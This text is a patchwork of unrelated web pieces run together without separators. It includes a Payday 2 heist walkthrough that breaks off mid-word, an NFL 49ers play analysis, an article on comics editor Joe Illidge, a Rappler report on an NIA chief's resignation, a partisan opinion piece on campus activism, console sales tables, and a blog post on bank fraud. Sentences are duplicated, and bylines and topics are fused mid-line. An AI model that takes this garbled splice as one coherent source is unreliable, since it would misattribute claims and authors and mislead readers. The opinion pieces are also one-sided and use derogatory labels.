On Mayhem, the chances of the voting cards appearing are rare. Therefore, any container you see that is open is more than likely an incorrect truck. However, it may still be worth checking the contents to make sure, since although it is rare, it is not completely impossible for the voting cards to appear in a container.
If you have found the correct color of the truck but there are 2 trucks with the same correct color and both are from a separate company that don't have another pair then you will need to find the computer or take a guess.
If containers don't contain the voting cards then you will need to use the computer to find out which truck is correct or take a guess.
Computer
Make your way over to the two warehouses and search the offices upstairs and downstairs until you find the computer. Each interaction with the computer will bring up one of three companies. Each company will show the location of where it is going. Interact with the computer and remember each company listed. The company that is not shown on the computer will be the truck that you need to tag with the GPS.
Note: The computer always shows the companies in the following order: Avalon, Kranich, Omni exports, Hefty. The first one that is left out is the right truck. Knowing this, you don't have to use the computer 3 times.
Guessing
There will be six trucks. If you look at the companies printed on the sides you will notice that there are two pairs of trucks from the same company. Those trucks are not the ones you want. The correct truck will be one of the remaining two trucks left, which will be from two different companies. Tag any of the 2 remaining trucks (50% chance).
You can also use any of the above two methods to help you eliminate the final truck.
High-speed Walkthrough Edit
Election Day can be rushed such that it only last the same as other 1-day heists but still provide a 2-day bonus.
To do this, the crew should be equipped with stealth loadouts. All players must be equipped with ECM Jammers. Only one player should enter the pier, preferably with some skills increasing running speed and stamina. After the player enters the pier, the crew should begin chaining ECMs (deploying another ECM as the last one finishes) to stop the alarm from sounding.
The player entering the pier may either:
Go immediately to the trucks and tag one of the two possible trucks. (By eliminating the two pairs of trucks from the same company, the possibility of guessing a correct truck is lowered to 2 trucks) This will have a 50% of chance to go to the normal Day 2 and a 50% of chance to Day 2 Plan C. This method has a random chance but is faster. The player may also intentionally tag the wrong truck to go to Day 2 Plan C.
Enter the two warehouses and search and use the computer. As long as the ECMs are properly chained, there should be enough time to identify the correct truck and tag it to go to normal Day 2.
The player entering the pier should not kill any guards as pagers are not stopped by ECM Jammers (unless ECM Specialist is aced).
If done properly, a rushed Election Day will still provide a 5% stealth bonus after completion regardless of the situations on Day 2.
Variations Edit
The front gate may be opened or closed.
A guard may be idle at the front gate.
The fences besides the gate may be covered so you can't cut them.
Containers can be in different positions, sometimes blocking off routes and opening new ones.
Some containers may not be open at all forcing you to use the computer.
Some doors leading to the offices where the computer may be located will be open instead of closed.
White containers can now be aqua light blue.
There may be only 2 colors of containers forcing players to go for the computer or take a guess at which truck is correct.
Strategy Edit
There are stacks of crates and boxes that can be used to climb up to the upper warehouse levels and quickly cross the dockyard.
There are several dumpsters that can be interacted with to open or close them; they can be used to hide body bags.
Find out which one of the two buildings holds the power boxes needed to protect when stealth should fail. The building with the boxes contains the computer.
Tagging the wrong truck will change day 2 into plan C, which can only be completed in full aggression.
Throwing body bags into the water will cause it to disappear, making it a good way of hiding it from guards.
Be aware that shooting guards silently results in ragdoll physics that can send bodies over fences or into the water. This results in guard pagers being unable to be answered.
Note: If you want to force "Day 2 Plan C", then place down an ECM jammer, sprint over to the trucks, then place the GPS tracker on any of the two trucks with the same company logo
Day 2 (Swing Vote) Edit
Objectives Edit
Locate the ballot machines. ( 8 will spawn) 4 need to be hacked on Normal 5 need to be hacked on Hard 6 need to be hacked on Very Hard and above Find a Crowbar. (Mayhem+ only) Hack the ballot machines. ( 30 seconds stealth / 100 seconds loud) Hack the computer. ( 400 seconds) (loud only) Retrieve Gold next to escape van. (stealth only) Get the gold to the van. (optional - stealth only) Secure the bags of Money inside the cages. (optional) Escape.
Purchasable Edit
Ammo Bag Price: $4,000 (Normal)
$6,000 (Hard)
$8,000 (Very Hard)
$12,000 (Overkill)
$20,000 (Mayhem)
$28,000 (Death Wish)
$36,000 (Death Sentence)
Doctor Bag Price: $6,000 (Normal)
$9,000 (Hard)
$12,000 (Very Hard)
$18,000 (Overkill)
$30,000 (Mayhem)
$42,000 (Death Wish)
$54,000 (Death Sentence)
Extra Keycard Price: $9,000 (Normal)
$13,500 (Hard)
$18,000 (Very Hard)
$27,000 (Overkill)
$45,000 (Mayhem)
$63,000 (Death Wish)
$81,000 (Death Sentence)
Warehouse Ladder Price: $6,000 (Normal)
$9,000 (Hard)
$12,000 (Very Hard)
$18,000 (Overkill)
$30,000 (Mayhem)
$42,000 (Death Wish)
$54,000 (Death Sentence)
Vantage point Price: $7,000 (Normal)
$10,500 (Hard)
$14,000 (Very Hard)
$21,000 (Overkill)
$35,000 (Mayhem)
$49,000 (Death Wish)
$63,000 (Death Sentence) Requires the Gage Sniper Pack DLC to unlock
Body Bags Price: $7,000 (Normal)
$10,500 (Hard)
$14,000 (Very Hard)
$21,000 (Overkill)
$35,000 (Mayhem)
$49,000 (Death Wish)
$63,000 (Death Sentence) Requires the Aced Sixth Sense Skill to unlock
Spotter Price: $13,000 (Normal)
$19,500 (Hard)
$26,000 (Very Hard)
$39,000 (Overkill)
$65,000 (Mayhem)
$91,000 (Death Wish)
$117,000 (Death Sentence) Requires the Aced Sixth Sense Skill to unlock
Intel Edit
Gage Courier Packages
Risk Level
Variations Edit
The amount of cameras and their locations vary.
Crates will always be placed randomly around the map.
The Camera operator can either be on the left or right side of the building's office areas upstairs. They will be a civilian rather than a guard.
The warehouse has extra loot (money) that will spawn randomly inside the cages that can be bagged and carried out to the van for an added payout bonus.
Some crates will be in secure cages in the back areas; there are 8 cages in total. Sometimes they will be covered, but you can still look into them from the catwalk above. Open them via one of three means; Each cage will take 60 seconds to drill open ( 40 with Drill Sawgeant Aced). Do note that because of the short drill time, the drills jam extremely frequently, sometimes they can even jam in less than 5 seconds after being restarted. Alternatively, they may be opened with the OVE9000 saw (equipped with the Silent Motor if stealthing), or with a keycard on the panel. Keycards can be found in the two office areas on the second floor, in the locker room and on the desk in the lobby area next to the locker room.
cages in total. Sometimes they will be covered, but you can still look into them from the catwalk above. Open them via one of three means;
Strategy Edit
Guards/Cameras notice: Players. Drills. Broken (but not open) Windows. Broken Cameras. Body Bags/Loot Bags. Ballot machines that are currently in the process of being hacked. (Guards will not notice opened crates with/without ballot machines or ballot machines that have been hacked. Guards can see a hacked ballot machine that isn't closed if they happen to walk above it, although this rarely happens.) Dead/Dominated/Alerted Guards and Civilians.
Crates in the secure cage can be sometimes opened from the cage next to them. Likewise, the ballot machines in the crates can also interacted with this way. Some crates can also be interacted with through the walls.
Crates in the secure cage can be sometimes opened from the cage next to them. Likewise, the ballot machines in the crates can also interacted with this way. Some crates can also be interacted with through the walls. Given the patrolling guard patterns and the time required to drill the cages, it is strongly advised to avoid drilling cages where possible, especially those on the ends towards the front of the warehouse - guards will very likely spot the drills from the central 'room' even if they would not see a crouched player at that distance. Open the front cages with keycards if necessary, and only drill the cages further back.
those on the ends towards the front of the warehouse - guards will very likely spot the drills from the central 'room' even if they would not see a crouched player at that distance. Open the front cages with keycards if necessary, and only drill the cages further back. 2 guards will be Metropolitan Police officers, who do not require pager replies. They are usually outside guarding the entrance but can sometimes be patrolling inside. They are the only ones, if Day 1 is successfully stealthed. However, if the correct truck is tagged but the first day went loud, then a lot of Metropolitan Police officers and a police car will spawn on the map. If a Metropolitan Police officer spots a ballot machine in the process of being hacked he will disable it first before raising the alarm.
guards will be Metropolitan Police officers, who do not require pager replies. They are usually outside guarding the entrance but can sometimes be patrolling inside. Forklifts in the warehouse can be interacted with during stealth, but cannot be used once the alarm is raised or after a guard has turned it off. When used, they create a lot of noise to attract one of the guards to it.
If the heist goes loud, M18 Claymores (akin to trip mines) may be planted by cops in some parts of the map, usually at the main and side doors. If a player moves near one, it will detonate, instantly incapacitating anyone who isn |
49ers' win over the Seattle Seahawks, when Gore popped a 51-yard run with a little under five minutes left in the game.
Looking at the clip, notice how it only takes one defender missing his gap responsibility to create a crease for Gore in the middle. With few defensive backs willing or capable of bringing him down in the alley, a play designed for a five-yard gain results in an explosive play for the 49ers.
With San Francisco enjoying an unbeaten record (5-0) when Gore receives at least 20 carries, I expect to see Harbaugh ride his workhorse heading into the postseason.
2) Using run-heavy formations in the passing game has helped Kaepernick find his rhythm.
Great NFL coaches find a way to adapt to the strengths of their best players. From implementing a few familiar concepts from a college playbook, to tweaking the game plan to make it simple for the signal-caller, a wily offensive coordinator will find a way to put his best player in a position to succeed. After watching their young passer struggle with a few intricate passing concepts, the 49ers have utilized a series of play-action and movement-based routes from run-heavy formations to help Kaepernick regain his rhythm in the pocket.
Now, I'm not suggesting Kaepernick was incapable of executing full field reads earlier in the season, but I do believe he struggled getting the ball to his secondary receiver on some routes. Of course, part of this could be attributed to the lack of separation obtained by his receivers on the outside, but the tape and numbers suggest that something was off in the passing game during the first half of the season.
Breaking down the film from the 49ers' most recent games, I believe Kaepernick is more confident and decisive in the pocket. He's delivering the ball more quickly and accurately to all areas of the field. I believe the 49ers have called more play-action passes on first down to help Kap get back into a groove after his early-season struggles. Given the 49ers' propensity to run the football (see previous graph), particularly out of regular and heavy personnel packages, opponents have played more single-high safety looks on early downs. This concept leaves corners isolated in coverage on the perimeter and gives the quarterback plenty of chances to throw the ball outside the numbers without multiple defenders in the area. As a result, Kaepernick has been able to play pitch and catch with his receivers without duress.
Here are some examples:
In the screen grabs taken from their Week 12 matchup against the Redskins, the 49ers are in a Strong I formation, with Boldin motioning to an outside position. He will run a post-corner against a defender (Josh Wilson) who's in off coverage on the outside.
Kaepernick sees the soft coverage on the outside and delivers a pinpoint pass to Boldin on time.
Click here to see full video of the play.
In the screen grabs below, the 49ers break the huddle in a Weak Tight Wing formation with Davis positioned at the wing-back spot. The Buccaneers are anticipating run, with the strong safety near the line of scrimmage. The free safety is in half-field coverage into the boundary.
On the snap, Davis runs a deep post route down the middle of the field past the strong safety. The free safety is unable to help on the play due to the deep curl route by Boldin. Without a help defender in the middle, Davis blows past the defense for a 52-yard gain.
Click here to see full video of the play.
In the following set of screen grabs, the 49ers are in a full house backfield set, with Davis aligned outside as the X-receiver. The Redskins have inched their safeties near the line of scrimmage anticipating a run.
Kaepernick executes a play-fake in the backfield before looking for Davis on a post route. Without a safety in the middle of the field to take away the deep ball, the 49ers connect on a 40-yard bomb.
Click here to see full video of the play.
The set of screen grabs below showcase the 49ers' movement (bootleg) passing game from run-heavy formations. Against the Rams in Week 13, the 49ers aligned in a Wing I-weak formation, with Davis positioned at tight end.
Kaepernick executes a play-fake in the backfield to Gore before rolling to his right. Davis steps down for one count to fake a block before slipping into the flat. The wing back is executing a post-corner to the front pylon.
Kaepernick rolls out wide and conducts a high-low read on the hook defender. With Davis coming open late, Kap delivers a strike to his tight end for a score.
Click here to see full video of the play.
Using an array of play-action passes from run-heavy looks is not an earth-shattering concept, but the 49ers' clever deployment of personnel at various spots has made their run-fake passing game difficult to stop.
3. Michael Crabtree's return has added some juice to the 49ers' passing game.
Crabtree's absence during the early part of the season robbed the 49ers of their No. 1 receiver. Although Anquan Boldin and Vernon Davis are Pro Bowl-caliber pass-catchers, Crabtree has clearly been the "go-to-guy" in the 49ers' air attack since Kaepernick took over last season.
The fifth-year pro, who tore his Achilles during organized team activities in May, enjoyed a breakout campaign with Kap under center, snagging 85 balls for 1,105 yards and eight touchdowns. Those numbers not only put Crabtree in the conversation as one of the game's elite receivers, but it forced opponents to account for his whereabouts on the perimeter. Last season, that meant fewer defenders in the box for Gore and Co. Additionally, it created some room for Davis to operate between the hashes.
Without Crabtree on the field early in the season, opponents were able to throw a blanket around Boldin and Davis, containing the duo down the field. The tandem accounted for all 14 of Kap's touchdown passes leading up to Week 13, when Crabtree made his season debut. The lack of dimensions and perimeter threats in the Niners' passing game made it easy to defend by elite defenses (Carolina and Seattle).
That has certainly changed since Crabtree's return. He's opened up the field with his presence out wide, emerging as a bit of a deep threat in spread formations. This has helped Kaepernick improve his third-down efficiency and made the 49ers tougher to defend in critical situations.
In the screen grabs from the 49ers' Week 13 matchup against the Rams, Crabtree is positioned on the outside of a trips formation. He is instructed to run a stutter-go against one-on-one coverage.
Crabtree runs an excellent stutter move at eight yards, causing the defender to bite on the short route.
Crabtree quickly blows past the helpless defender, hauling in a 60-yard pass for a first down.
Click here to see full video of the play.
With Crabtree capable of delivering these kinds of plays on the outside, opponents are unable to extensively double team Davis or Boldin. This gives Kaepernick a variety of options to target, and still affords him the freedom to run against "Two-Man" or blitz coverage on third down or long-yardage situations. Given the prospect of having to defend so many weapons on the perimeter in the passing game, plus a hard-nosed ground attack, the Niners' offense is poised for a strong finish to the season.
Follow Bucky Brooks on Twitter @BuckyBrooksJoe Illidge was an intern at Milestone Media in the 90s and now helps edit a new diverse superhero universe with Lion Forge imprint Catalyst Prime. Joe Illidge was an intern at Milestone Media in the 90s and now helps edit a new diverse superhero universe with Lion Forge imprint Catalyst Prime. Photo: Courtesy Of Joe Illidge Photo: Courtesy Of Joe Illidge Image 1 of / 1 Caption Close Superheroes of color are few and far between; a new comic-book universe tries to fix that 1 / 1 Back to Gallery
Joe Illidge looks at his career in the comic book industry and feels he's come full circle.
Illidge began his career in comics as an intern with Milestone Media in 1993, working with classic black comic book characters such as Icon, Rocket and Hardware. He learned under the leadership of the Milestone co-founder, the late Dwayne McDuffie, as they embarked on a publishing journey meant to give black superheroes their place in comics with roles that were more than sidekicks and stereotypes. He edited Batman at DC Comics from 1998 to 2000, and has been a columnist on diversity in comics for Comic Book Resources.
Today, Illidge is a senior editor at the Lion Forge imprint Catalyst Prime, a job he got in June 2016 to oversee a new superhero/sci-fi comic book universe featuring diverse characters - and, just as important to Illidge, diverse creators - with stories taking place all over the world.
"What attracted me to the job was, as an alumni of Milestone Media, I have always in my career in comics believed in the promotion of people from different backgrounds as creators through fiction," Illidge told The Washington Post. "Having the opportunity to take the next step of that dream and make it a reality with a company that believes in the same things was impossible to resist."
Catalyst Prime's comics include "Noble," featuring a black astronaut who goes missing on assignment in space and resurfaces with superpowers, though he's on the run in Latin America while his wife and a Latina-led secret organization track him down. The series "Accell" centers on a Latino character who runs faster than the speed of thought after exposure to an alien object. Cosmosis, a character with down syndrome, is featured in the series "Superb." There's even a color guide, created at the suggestion of Catalyst Prime editorial assistant Desiree Rodriguez, that assures that when characters leave their own title and appear in another, their hue remains consistent.
Illidge has assembled some of the top writers in comics, including writers David Walker ("Luke Cage"), Christopher Priest ("Black Panther") and Amy Chu ("Poison Ivy: Cycle of Life and Death").
While a strong believer in diverse characters written and drawn by talent that's just as diverse, Illidge says that won't be the only philosophy that defines Catalyst Prime.
"We don't always want to do straight lines, because in a weird way that segregates talent," Illidge said. "That only says, well if you're black, you can only write black characters or if you're a woman you can only write a female character. We want to show that we can expand beyond that."
Illidge takes pride in Catalyst Prime's mission in an era when much of the industry is still catching up to the call for more diversity. He feels Catalyst offers stories for areas of comic book fandom (people of color, women, disabled) that at times have felt they haven't had enough representation.
Read Full Article(5th UPDATE) The President mentions his decision to let go of Peter Laviña in a recent meeting with labor groups. The outgoing NIA chief says he'resigned.'
Published 8:45 AM, March 01, 2017
MANILA, Philippines (5th UPDATE) – Peter Laviña was sacked as head of the National Irrigation Administration (NIA), Rappler learned on Wednesday, March 1.
President Rodrigo Duterte himself mentioned his decision to fire his campaign spokesman in a meeting with labor groups in Malacañang Monday night, February 27, sources who were in that meeting told Rappler.
Two sources from labor groups said that during the meeting, Duterte said he had fired Laviña for allegedly receiving "40%."
Duterte then went on to emphasize how he does not tolerate corruption even among those close to him.
In his speech at the launch of the Bangsamoro Transition Commission on Friday, February 24, Duterte mentioned that he just "fired" an appointee who is from Davao City.
"When I said there will be no corruption, there will be no corruption. As a matter of fact, I fired last night (Thursday) one taga-Davao (from Davao) for simply making a remark. Sabi ko (I said), he's out. And I told him, even a whiff of corruption, talagang tatanggalin kita (I will really fire you). So I'm doing my part."
Rappler learned that a group of NIA directors met with Duterte in Panacan Thursday night, February 23, and told him about Laviña's supposed overtures to them. Panacan is also referred to as the Malacañang of the South.
Laviña would allegedly call them and point out projects the regional office had and tell them, "Kayo nang bahala sa akin (It's up to you to take care of me)."
This infuriated the President. "Putang ina, may tanggalin talaga ako (Son of a bitch, I'm really going to fire someone)!" he reportedly said.
That sealed the fate of Laviña. He was asked to resign, insiders said.
Laviña denial
Sought for comment, Cabinet Secretary Leoncio Evasco Jr told Rappler, "He was not sacked but he tendered his resignation."
Laviña confirmed this himself in a Facebook post past 10 am on Wednesday. He denied corruption allegations and said he decided to resign to spare the President from "these embarrassing stories."
"I have been vilified in the past; my name used, abused and maligned. Recently, there had been efforts to discredit me again. There are rumors circulating that I have asked money from NIA contractors. These are not true!" he said.
"To spare the President from these embarrassing stories, particularly in these times of intensified attacks on him, I have quietly left government. I have neither personal vested interest in it nor ill intent towards NIA and the whole government, which we are trying to reform," Laviña added.
Laviña maintained that he had never done anything to betray the trust of Duterte.
"Thank you for the opportunity to serve the government, especially to President Duterte, whose trust I have never betrayed. I have proven in the past that one need not be in government to do public service or work for the common good. I will likely continue to do so in media, civil society and the business sector where I have been involved before," he said.
At a Palace briefing on Wednesday, Presidential Spokesman Ernesto Abella read Evasco's full statement: "NIA administrator Peter Laviña has tendered his resignation amid attempts to vilify, discredit, and malign him and to spare the President from any embarrassment due to these attempts. It is with deep regret that our office receives this news and wishes him well in his next endeavors."
Ties
Laviña served as presidential campaign spokesman for Duterte. He was also Duterte's former aide before becoming a Davao City councilor.
He is known to be allied with Duterte's running mate Alan Peter Cayetano, with whom Agriculture Secretary Manny Piñol is also associated. Sources in Davao said Piñol pushed for Laviña's appointment.
Cayetano also gave it a nudge, urging the Duterte camp with, "Why don't you give him a chance?"
The President appointed Laviña NIA head 3 months ago – in November last year.
Last December, Duterte sacked two fraternity brothers from their posts at the Bureau of Immigration for alleged corruption. Duterte's style of dismissing them from service was to ask them to resign. – Rappler.comA turning point is underway in the culture wars over American universities. Dismayed by their wild-eyed radicalism and anti-intellectual demands, college faculties, administrators, and much of the media are turning their backs on the regressive left.
Left-wing activists have been running rampant on college campuses for years. In 2014, the Foundation for Individual Rights in Education (FIRE) found that the number of speaker disinvitations on campus, typically prompted by the allegedly “offensive” views of a visiting speaker, had more than tripled over ten years. Activist crusades against cultural appropriation, sexism and racism have led to the banning of an eclectic range of items on campus, from Charlie Hebdo to mini-sombreros.
In one low point, student leaders at the University of Minnesota blocked a proposed annual moment of remembrance for 9/11 on the grounds that it could promote “Islamophobia.”
Previously quick to take the side of students demanding “safety” from offensive speech (Minnesota’s faculty quickly complied with activist’s demands to censor Charlie Hebdo, for example), it now seems that colleges administrators have had enough with the regressive left.
The President of Oberlin, an infamously liberal college, recently rebuffed a list of demands from left-wing activists on campus, the University of Missouri has been uncompromising in its decision to fire radical assistant professor Melissa Click over her attempted physical intimidation of a student reporter, and a growing number of professors are now speaking out against the culture of safe spaces and censorship on campus.
Of course, these efforts feel a little like Pandora trying to close her box — campus faculties trying to contain campus crazies they themselves helped create.
The campus crazies are still winning some victories, like Princeton and Harvard’s removal of the academic title “Master” over complaints that it conjured memories of slavery. But the flames of resistance are quickly flickering to life. Allies of the regressive left grow harder to find, while new opponents appear every day. After all, the regressive types manufacture a new enemy everytime they decide that an ally or a sympathiser isn’t ideologically pure enough for them.
The regressive left played into the hands of its opponents with hysterical responses to recent visits to U.S campuses from Breitbart Tech editor Milo Yiannopoulos and Professor Christina Hoff Sommers of the American Enterprise Institute.
A visit by Yiannopoulos to the University of Rutgers led to bizarre scenes in which activists smeared red paint on their faces and chanted “Black Lives Matter” in an effort to disrupt the event. A group therapy session for triggered student snowflakes quickly followed. Similar events occurred at the University of Minnesota, where a joint talk by Yiannopoulos and Sommers was interrupted by protesters wielding airhorns. There was less disruption during Yiannopoulos’ visit to the University of Pittsburgh, but left-wing students did report his visit made them feel “hurt” and “unsafe.” One student even report being brought to tears by the Breitbart Tech editor’s presence.
For the educational establishment, these emotionally incontinent reactions serve as further proof that the regressive left is out of control. It is now almost impossible to deny that their activism on campus breeds a climate of intellectual and political intolerance, masked by a thin veil of concern for mental health. As conservatives have been saying for some time, the regressive left is made up of crybullies — seamlessly switching between aggressors and victims depending on the circumstances.
From another perspective, these universities are failing at their basic task of creating intellectually robust young people capable of rational thought, discourse, and debate. If their entire world shatters when presented with opposing views, how will they survive the stress and daily challenges of the jobs market? Even burger-flippers have to occasionally handle rude customers. McDonalds won’t be installing a safe space for their employees anytime soon. Their only option will be the burgeoning profession of diversity consultancy, where no-one gets fired due to companies’ fear of being labelled bigots.
Faculties and professors seem to have realised that something has to change, and have cautiously used the visits of Yiannopoulos and Sommers to challenge student activists. The same administrations that once embraced campus speech codes are now releasing robust statements defending free speech. In the wake of the Yiannopoulos incident, the President of Rutgers University put out a statement defending the right of students to invite “offensive” speakers to campus, defending the “right to speak freely” as “fundamental to our university, our society, and our nation.”
Elsewhere, a senior faculty committee at the University of Minnesota – the same campus that saw bans on Charlie Hebdo and 9/11 remembrances – used the controversy surrounding Yiannopoulos’ visit to vote 7-2 in favour of a statement backing freedom of speech as the university’s “paramount value.”
Beyond leftovers of 1970s-era radicalism like Missouri’s recently-fired assistant professor Melissa Click, many academics have realised the threat posed by the regressive left to the intellectual life of American campuses. Even before the events of Yiannopoulos and Sommers’ tour, they were taking cautious steps to fight the regressive left. For example, a growing number of colleges have embraced the Chicago Principles. Published by the University of Chicago in 2012, the principles call for discussion of “offensive” ideas, and affirm that “without a vibrant commitment to free and open inquiry, a university ceases to be a university.”
Even the most ardently left-wing academics are getting cold feet. Last summer, Vox published the viral account of an anonymous liberal professor who said his own liberal students “terrified” him, and condemned a “simplistic, unworkable, and ultimately stifling conception of social justice” for the problem.
Even Rani Neutill, who on paper represents the ideal academic of the regressive left – woman, feminist, ethnic minority, film studies lecturer – published an account of her disastrous run-ins with students’ demands for “trigger warnings” on potentially offensive content, which forced her to abandon a course on sex and cinema.
“Colleges are the new helicopter parents, places where the quest for emotional safety and psychic healing leads not to learning, but regression” wrote Neutill.
Neutill’s story was published by none other than Salon. What hope is there for the regressive left on campus, if they can’t even rely on a feminist film studies lecturer who writes for Salon?
Mainstream media is no friend to the regressive left either. While conservative media has always opposed activist antics on campus, now liberal publications are doing so as well. It was The Atlantic, a stalwart of the liberal establishment, that published Greg Lukianoff and Jonathan Haidt’s marathon analysis of the “coddling” of students in America, and it is no longer uncommon to see condemnations of student censorship in liberal publications like The Guardian, The New York Times and The Daily Beast.
Even the President and First Lady, often accused of being apologists for identity politics – most notably Black Lives Matter – have turned against college activists. During her commencement address at Oberlin College, the First Lady reminded students that politics is “loud and messy, and not particularly warm and fuzzy.” Instead of retreating into safe spaces, she advised students to “seek out the most contentious, polarized, gridlocked places you can find.”
President Obama has been even blunter in his advice to students. Speaking at an educational town hall event last year, Obama said:
I’ve heard of some college campuses where they don’t want to have a guest speaker who is too conservative, or they don’t want to read a book if it had language that is offensive to African Americans or somehow sends a demeaning signal towards women.” I’ve got to tell you, I don’t agree with that either — that you when you become students at colleges, you have to be coddled and protected from different points of view.
As for students themselves, the regressive left no longer has a monopoly on campus activism. Their radicalism, unchecked for so many years, has led to a backlash from moderates, libertarians and conservatives on campus. They may be quieter, but if student turnout at Yiannopoulos events is anything to go by, they far outnumber their left-wing counterparts.
The regressive left even faces the prospect of the alternative right’s arrival on campus, who respond to the left’s identity politics with an equally radical identity politics of their own. Although initially pegged as a hoax by Buzzfeed, the “white student unions” that emerged on college campuses in the wake of the Missouri protests are the product of a genuine, if clandestine, mobilization of alt-right students.
Their emergence is likely to hasten efforts by administrators to quell radicalism on campus, lest colleges become the sites for a stand-off between identity warriors from both the left and the right.
There is a growing realization among all sides of the establishment, from college administrations to the President himself, that student censorship on campus has gone too far. Left-wing activists now face hostility from the left, the centre, and the right (who, after years of warnings about radicalism on campus, are no doubt feeling a great sense of vindication) as well as the mainstream media.
While their opponents have yet to agree on a plan of action against the campus left, there is now clear agreement that something must be done. From now on, the regressive left is on the defensive.
You can follow Allum Bokhari on Twitter, add him on Facebook, and download Milo Alert! for Android to be kept up to date on his latest articles.Gubba spent much of his career with the BBC but most recently worked as a commentator on ITV series Dancing On Ice following its launch in 2006.
Having spent time as the Daily Mirror's north of England correspondent, Gubba joined BBC Sport in 1972 replacing David Coleman as the presenter of the midweek sports programme 'Sportsnight'.
He later went on to work on Match of the Day, both as commentator and front man, and to introduce Grandstand as a stand-in for Frank Bough.
In addition to football, Gubba was a sports all-rounder who commentated on hockey, table-tennis, golf, tennis, bobsleigh, ski-jumping, darts and ice-skating for the BBC. He also covered every Olympic Games, both summer and winter, from 1972 to 2012 and every World Cup from 1974 to 2006.Media Create Sales: Week 15, 2014 (Apr 07 - Apr 13)
Code: -------------------------------------------------------------------------- |System | This Week | Last Week | Last Year | YTD | Last YTD | -------------------------------------------------------------------------- | ALL | 699.000 | 567.000 | 482.000 | 13.007.000 | 14.170.000 | --------------------------------------------------------------------------
Code: ---------------------------------------------------------------------------------------- |System | This Week | Last Week | Last Year | YTD | Last YTD | LTD | ---------------------------------------------------------------------------------------- | PSV # | 25.298 | 26.388 | 14.112 | 451.594 | 369.499 | 2.806.951 | | 3DS # | 23.562 | 32.038 | 46.723 | 747.746 | 1.361.982 | 15.409.666 | | PS4 | 13.034 | 13.401 | | 519.773 | | 519.773 | | PS3 | 7.305 | 10.871 | 14.039 | 216.252 | 334.760 | 9.925.926 | | WIU | 5.512 | 7.962 | 9.984 | 177.778 | 251.727 | 1.703.208 | | PSP # | 2.027 | 2.892 | 7.566 | 61.148 | 226.552 | 20.129.557 | | 360 | 229 | 276 | 492 | 4.144 | 10.576 | 1.643.460 | ---------------------------------------------------------------------------------------- | ALL | 76.967 | 93.828 | 94.299 | 2.178.435 | 2.584.462 | 52.138.541 | ---------------------------------------------------------------------------------------- | PSVTV | 1.220 | 1.371 | | 29.017 | | 105.261 | | PSV | 24.078 | 25.017 | 14.112 | 422.577 | 369.499 | 2.701.690 | | 3DSLL | 17.291 | 22.947 | 28.139 | 519.566 | 847.698 | 5.945.452 | | 3DS | 6.271 | 9.091 | 18.584 | 228.180 | 514.284 | 9.464.214 | | PSP | 2.027 | 2.892 | 7.566 | 61.148 | 226.552 | 19.953.570 | ----------------------------------------------------------------------------------------
Famitsu Sales: Week 15, 2014 (Apr 07 - Apr 13)
Code: ---------------------------------------------------------------------------------------- |System | This Week | Last Week | Last Year | YTD | Last YTD | LTD | ---------------------------------------------------------------------------------------- | 3DS # | 24.044 | 31.680 | 46.676 | 747.115 | 1.432.632 | 15.441.126 | | PSV # | 22.865 | 24.134 | 14.755 | 445.493 | 357.286 | 2.720.632 | | PS4 | 12.053 | 15.036 | | 518.978 | | 518.978 | | PS3 | 8.388 | 12.120 | 15.451 | 218.538 | 325.290 | 9.787.038 | | WIU | 5.693 | 7.686 | 10.147 | 189.089 | 247.007 | 1.707.516 | | PSP # | 1.578 | 2.242 | 7.778 | 54.798 | 229.925 | 19.663.291 | | WII | 178 | 124 | 1.361 | 4.832 | 30.451 | 12.742.911 | | 360 | 144 | 178 | 374 | 4.832 | 7.965 | 1.612.391 | ---------------------------------------------------------------------------------------- | ALL | 74.943 | 93.200 | 96.685 | 2.183.675 | 2.635.443 | 64.193.883 | ---------------------------------------------------------------------------------------- | PSP | 1.578 | 2.242 | 7.778 | 54.798 | 229.925 | 19.502.716 | ----------------------------------------------------------------------------------------
D a t a b a s e
Previous ThreadsDespite the efforts of some liberal pundits and organizers (and by extension, the Democratic party hackocracy) to lay claim to OccupyWallStreet, the nascent movement is having none of it. Participants are critical of the President’s bank-coddling ways and Obama gave a remarkably bald-face confirmation of their dim views.
As Dave Dayen recounts, Obama was cornered into explaining why his Administration has been soft of bank malfeasance. His defense amounted to “They’re savvy businessmen”: “Banks are in the business of making money, and they find loopholes.”
Is breaking IRS rules a “loophole”? How about making repeated false certifications in SEC filings? Or as Dayen points out, fabricating documents? Or making wrongful foreclosures, aka stealing houses?
The Administration’s strategy for maintaining this posture is by being anti-investigation and anti-transparency. As we’ve discussed, the stress tests were a sham. The foreclosure task force didn’t even try to look serious, it was a mere 8 week investigation and of 2800 cases chosen for review (in no scientific manner), only 100 were foreclosures. The US Trustee’s office found a level of servicing errors more than 10 times that asserted by banks and happily parroted by Federal banking regulators. We expect readers could add to this list just as readily as we can.
There are plenty of grounds for legal action. Contrary to the Obama/Geithner position, this is a target rich environment. And some of the violations were persistent and deliberate enough that they might well raise to the level of being criminal. This is a mere illustrative tally:
1. Violation of REMIC (real estate mortgage conduit) rules, which are IRS provisions which allow mortgage backed securities to be treated as pass-through entities. As we’ve indicated, the violations were clear cut and are easily documented. Moreover, when the senior enforcement officer in the IRS was alerted last year, she was keenly interested. But the word that came back was the the question had gone to the White House, and the answer was to nix going after these violations: “We are not going to use tax as a tool of policy.” So this is not a case of creative use of “loopholes,” this is prima facie evidence of an Administration policy of protecting the banks.
2. Consumer fraud under HAMP. Catherine Masto of Nevada has already delineated this case in her second amended complaint against numerous Bank of America entities (in fact, the evidently clueless President could find a raft of other litigation ideas in her filing). All the servicers engaged in similar egregious conduct.
3. Securities fraud by mortgage trustees and serivcers. While the statute of limitations for securities fraud for the sale of toxic mortgage securities in the runup to the crisis has now passed, securitization trustees and servicers are making false certifications in periodic SEC filings. In layperson terms, the trustee certifies that everything is kosher with the trust assets. As readers well know, in many cases the custodians do not have the notes or they were not conveyed to the trust as stipulated in the pooling and servicing agreement (as in they were not properly endorsed through the chain of title).
Now of course, pursuing this sort of litigation would blow up the mortgage industrial complex. But it represents a powerful weapon to bring unrepentant bankers to heel.
